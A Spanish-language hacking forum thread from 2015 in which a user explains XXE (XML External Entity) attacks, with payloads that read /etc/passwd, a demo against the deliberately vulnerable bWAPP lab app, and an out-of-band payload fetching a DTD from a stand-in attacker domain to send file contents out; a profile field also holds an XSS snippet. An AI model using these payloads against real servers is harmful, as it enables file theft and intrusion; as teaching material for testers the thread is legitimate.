send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Entendiendo y explotando XXE (External XML Entities)

  • 6 Respuestas
  • 4509 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: "><<img src=y onerror=prompt();>
« en: Mayo 29, 2015, 02:33:59 pm »
Buenas.
Tras varios meses viendo reportes de este tipo de vulnerabilidad a grandes sitios se me hace raro no ver una guía sobre ello en español, por ello estoy creando este post.
Siendo una de las vulnerabilidades más extendidas se ha ido haciendo famosa la frase "Is XXE the new SQLi?", en mi opinión lo es.

¿Qué es XXE?
Es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.

¿Es XXE una vulnerabilidad extendida?
Sí. En los últimos meses se han visto reportes a Yahoo, eBay, Google, Shopify y muchas más empresas "gigantes".


Puntos de detección
Suele ser común encontrarla en los siguientes Content-Types: text/xml, application/xml.
Aunque también puede darse al parsear un documento Word (son muchos archivos .xml) unidos y comprimidos o en JSON que luego se parsea en forma de XML.


¿Cómo se explota XXE?
Se trata de malformar las peticiones con XML de forma que añadamos funcionalidades al intérprete de XML como leer un archivo local y enviar su contenido a un servidor externo (/etc/passwd).

Por ejemplo, una petición legítima estaría formada de la siguiente manera:
Código: XML
  1. <forgot><username>admin</username></forgot>

Con las siguientes cabeceras:

Código: You are not allowed to view links. Register or Login
POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Nuestro objetivo para comprobar si es vulnerable es incluir nuestras propias etiquetas XML, como por ejemplo:
Código: You are not allowed to view links. Register or Login
<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE etiqueta [ 
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>

De esta forma podremos leer cualquier archivo para el que el usuario que controla la aplicación tenga acceso, llamar a cualquier binario (ls, ping, ifconfig, nmap, rm, touch.... hay infinitas posibilidades), llamar a diferentes protocolos, como por ejemplo php://, ssh://, etc.

Explotación práctica (demo)
Para realizar la demo he elegido una aplicación web que es vulnerable por diseño: bWAPP

  • bWAPP
    Al acceder a la ruta vulnerable You are not allowed to view links. Register or Login nos encontramos la siguiente aplicación web:


    Si llevamos a cabo la acción "deseada" por la web obtenemos una petición como la siguiente:

    Si queremos comprobar si es vulnerable trataremos de introducir una entidad externa y ver si nos devuelve un error o la procesa. Si hay error será que no es vulnerable, si por el contrario la procesa podremos seguir adelante con la explotación.
    Para esta demo solicitaré a la aplicación el fichero /etc/passwd mediante entidades XML. Modificaré el contenido de la petición para añadirlo, quedando así:
Código: You are not allowed to view links. Register or Login
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>

Si procesamos la petición veremos que hemos tenido éxito y que hemos obtenido el contenido del fichero:


Ahora solo tendríamos que extender la explotación como quisiéramos, ya sea leyendo más archivos hasta obtener credenciales de acceso, escribiendo en archivos, llamando a protocolos, provocando un DoS al servidor.... sería dar rienda suelta a la imaginación.


Una de las opciones más usadas es solicitar al servidor un archivo como /etc/passwd y que envíe su contenido a un servidor en el que nosotros tengamos control de los logs o solicitar que se conecte a un .dtd que controlemos en nuestro servidor y que sea él quien le pida el contenido del archivo que deseamos leer.

Este podría ser nuestro DTD-PART
Código: You are not allowed to view links. Register or Login
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">

Y este el payload que enviamos a la aplicación:
 
Código: You are not allowed to view links. Register or Login
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>
 

    Saludos y hasta la próxima.
    « Última modificación: Mayo 29, 2015, 02:36:06 pm por Jimeno »
    Contacto: @migueljimeno96 -

    Desconectado q3rv0

    • *
    • Underc0der
    • Mensajes: 206
    • Actividad:
      0%
    • Reputación 1
    • %ERRORLEVEL%
      • Ver Perfil
      • q3rv0
      • Email
    « Respuesta #1 en: Mayo 29, 2015, 10:41:38 pm »
    Buen post!, guias en español ahí sobre el xxe, yo escribi una hace unos meses.

    You are not allowed to view links. Register or Login

    Te dejo otra que tiene muy buena pinta tambien.

    You are not allowed to view links. Register or Login

    Web: You are not allowed to view links. Register or Login

    Twitter: You are not allowed to view links. Register or Login

    Conectado arthusu

    • *
    • Underc0der
    • Mensajes: 531
    • Actividad:
      10%
    • Reputación 2
    • Yo solo se que no se nada - Socrátes
      • Ver Perfil
      • Arthusu BLOG
    • Skype: arthusuxD
    « Respuesta #2 en: Mayo 30, 2015, 02:36:46 am »
    Buen post te dejo +1 :D

    Desconectado OLM

    • *
    • Underc0der
    • Mensajes: 57
    • Actividad:
      0%
    • Reputación 0
    • No hay justicia si la guerra está justificada.
      • Ver Perfil
      • Hackpuntes
      • Email
    • Skype: jjavierolmedo
    • Twitter: @JJavierOlmedo
    « Respuesta #3 en: Mayo 30, 2015, 06:34:46 am »
    Excelente post.
    Gracias por compartirlo y sigue así. ;D

    Un Saludo.
    Nunca consideres el estudio como una obligación, sino como una oportunidad para adentrarse en el maravilloso mundo del saber.

    Desconectado Stuxnet

    • *
    • Underc0der
    • Mensajes: 259
    • Actividad:
      0%
    • Reputación 2
      • Ver Perfil
      • Devel Security
    • Twitter: _stuxnet
    « Respuesta #4 en: Junio 09, 2015, 08:36:04 pm »
    Excelente post, te felicito Jimeno

    Saludos.
    You are not allowed to view links. Register or Login

    Desconectado rand0m

    • *
    • Underc0der
    • Mensajes: 214
    • Actividad:
      0%
    • Reputación 0
    • Paso de cosas personales, déjame
      • Ver Perfil
    « Respuesta #5 en: Junio 10, 2015, 09:15:33 am »
    Claro y práctico. Muchas gracias, buen aporte.
    Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

    Desconectado Alvares97

    • *
    • Underc0der
    • Mensajes: 68
    • Actividad:
      0%
    • Reputación 0
    • Todo es tan Dificil antes de ser sencillo
      • Ver Perfil
      • Playa de bits
      • Email
    « Respuesta #6 en: Julio 02, 2015, 10:16:44 pm »
    muy educativo
    esta permitido caerse pero levantarse es obligatorio

     

    ¿Te gustó el post? COMPARTILO!



    Explotando "LNK" con MetaSploit 0-day

    Iniciado por Devilboy

    Respuestas: 0
    Vistas: 1399
    Último mensaje Julio 23, 2010, 03:14:24 pm
    por Devilboy
    Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

    Iniciado por BrowserNet

    Respuestas: 5
    Vistas: 3161
    Último mensaje Diciembre 26, 2016, 03:44:26 am
    por Dr4g0n4Y
    Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdoorizar

    Iniciado por hdbreaker

    Respuestas: 1
    Vistas: 2176
    Último mensaje Julio 17, 2012, 12:35:31 am
    por hdbreaker
    Obtener una sesion meterpreter explotando SQL Injection

    Iniciado por Pr0ph3t

    Respuestas: 2
    Vistas: 1718
    Último mensaje Agosto 30, 2012, 01:26:24 pm
    por hdbreaker
    Explotando Java7 0day - Exploit .JAR

    Iniciado por CalebBucker

    Respuestas: 12
    Vistas: 5108
    Último mensaje Septiembre 19, 2012, 02:25:16 pm
    por ANTRAX